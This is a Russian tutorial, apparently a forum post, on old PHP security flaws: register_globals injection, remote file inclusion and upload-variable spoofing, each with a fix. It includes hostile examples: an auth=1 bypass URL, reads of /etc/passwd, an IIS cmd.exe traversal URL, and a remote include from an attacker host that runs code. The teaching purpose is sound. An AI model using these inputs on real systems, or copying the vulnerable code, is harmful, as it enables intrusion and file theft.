Очевидно, что одна из главных функций языка PHP — это принимать
данные от клиента (формы, файлы, cookies и т.д.), обрабатывать их и
возвращать результаты обработки клиенту. Для того чтобы устроить как
можно проще доступ PHP скрипта к данным, получаемых от клиента,
заводятся так называемые глобальные переменные. Рассмотрим следую-
щий пример HTML кода:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
Очевидно, что на странице будет отображено текстовое поле и кнопка
отправки данных на обработку PHP скрипту test.php. Когда он запускается,
переменная $hello будет содержать данные, которые ввел пользова-
тель. Важно заметить, что смысл в том, что предполагаемый взломщик
может создавать какие угодно переменные и инициализировать их в гло-
бальном пространстве переменных. Вместо использования формы при-
веденной выше, взломщик может вызвать этот test.php непосредствен-
но указав переменные в URL: ’http://server/test.php?hello=hi&setup=no’.
При этом не только переменная $hello будет равна ’hi’, но скрипт также
проинициализирует переменную $setup=’no’.
Теперь рассмотрим в чем же собственно таится опасность такой ра-
боты с переменными. Проиллюстрируем это следующим примером:
<?php
if ($pass = "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
В приведенном примере PHP скрипт проверяет правильность паро-
ля пользователя и затем, если пользователь успешно был аутентифи-
цирован, передает ему некоторую секретную информацию. Здесь уязви-
мость заключается в том, что программа предполагает, что перемен-
ная $auth была пустая до тех пор пока она сама же не присвоила
ей значение. Таким образом, если взломщик сможет создать перемен-
ную $auth и сам же ей передаст значение равное единице, то URL ви-
да ’http://server/test.php?auth=1 не будет проводить проверку пароля и
успешно авторизует взломщика.
Подводя итог можно однозначно сказать, что PHP скрипт не может
доверять ни одной переменной, если он явно сам ее не проинициализи-
ровал.
Одним общим подходом по защите от подобных атак является обыч-
ная проверка того, находится ли используемая переменная в массивах
HTTP_GET/POST_VARS[] (в зависимости от используемого метода от-
правки данных).
2 Файлы на удаленной машине.
Язык PHP обладает большим количеством полезных свойств — огром-
ным количеством функций для того, чтобы сделать жизнь программиста
как можно проще и комфортнее. Однако с точки зрения безопастности,
такой широкий выбор функций делает написание на нем безопасных
программ трудным занятием. Рассмотрим один замечательный пример:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
Программа пытается открыть файл, имя которого определено в пе-
ременной $filename, для чтения, и если это не удается, она выдает
ошибку. Очевидно что пользователь может присвоить $filename значе-
ние /etc/passwd и просмотреть этот файл, но еще совсем не тривиальное
решение — заставить скрипт прочитать данные с другого web/ftp сайта.
Например можно присвоить $filename значение
’http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir’ и тем са-
мым заставить веб-сервер атаковать другой сервер с помощью приведен-
ного URL.
Становится еще более интереснее если обратиться к функциям include(),
require(), include_once() and require_once(). Указанные функции прини-
мают в качестве аргумента имя файла, и потом этот файл интерпре-
тируется как PHP скрипт. Обычно это используется для подключения
соответствующих библиотек. Рассмотрим следующий пример:
<?php
include($libdir . "/languages.php");
?>
В этом примере переменная окружения $libdir скорее всего указыва-
ет, где находятся вспомогательные файлы. Однако взломщику ничего не
стоит изменить эту переменную (например рассмотренным в разделе 2
способом) на $libdir=’http://<evilhost>/’, и файл languages.php будет со-
держать уже совсем другой код, тот код, который необходим взломщику,
скажем такой:
<?php
passthru("/bin/ls /etc");
?>
тем самым взломщик исполнит свой код на удаленной машине и получит
содержимое директории /etc.
3 Заливка файлов.
Еще одной уязвимостью языка является так называемая автоматическая
заливка файлов на сервер с клиентских машин. Согласно RFC 1867 мож-
но написать следующую форму:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
Эта форма позволяет удаленному пользователю открыть файл на сво-
ем локальном диске и отправить его веб-серверу. Очевидно, что это
очень полезная возможность, но ее реализация в PHP не совсем без-
опасна. Когда PHP скрипт получает запрос от клиента, то еще до того
как приступить к обработке самого скрипта, он скачивает файл с уда-
ленной машины, затем проверяет размер файла, чтобы он не превысил
$MAX_FILE_SIZE (10kb в данном случае) и максимальный размер фай-
ла, прописанный в файле настройки PHP интерпретатора. Если все про-
верки пройдены, файл сохраняется в директории для временных файлов,
и только потом уже начинается обработку кода.
Теперь давайте рассмотрим скрипт, который написан для того, что-
бы принимать файлы с удаленных машин. Как уже было выше описано,
PHP интерпретатор сохраняет его в директории для временных файлов.
Затем PHP интерпретатору необходимы данные об этом файле, чтобы
начать его обработку. Для этого есть два пути. Первый, еще извест-
ный со времен PHP3, и второй, более безопасный, введенный совсем
недавно. Однако рассмотрим первый, он и по сей день довольно часто
используется. PHP заводит глобальные переменные, для того чтобы опи-
сать залитый файл, например для нашего случая это выглядит так:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name (e.g "c:\\temp\\hello.txt
$hello_type = Mime type of uploaded file (e.g "text/plain
Однако значение переменной $hello по прежнему может быть подме-
нено взломщиком, (например так:
http://vulnhost/vuln...mp;hello_type=t
plain&hello_name=hello.txt) тем самым глобальные переменные примут
значения:
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
Это заставит интерпретатор обрабатывать не файл, полученный с удален-
ной машины, а файл, который ему указал взломщик, тем самым получая
доступ к файлам, которые содержат секретную информацию.
Существуют различные способы определить, какой файл был залит:
самый простой — обратится к массиву переменных HTTP_POST_FILES[],
либо воспользоваться функцией, которая позволит определить, действи-
тельно ли это тот файл, который был получен с удаленной машины.
#5
Отправлено 12 ������� 2008 - 07:20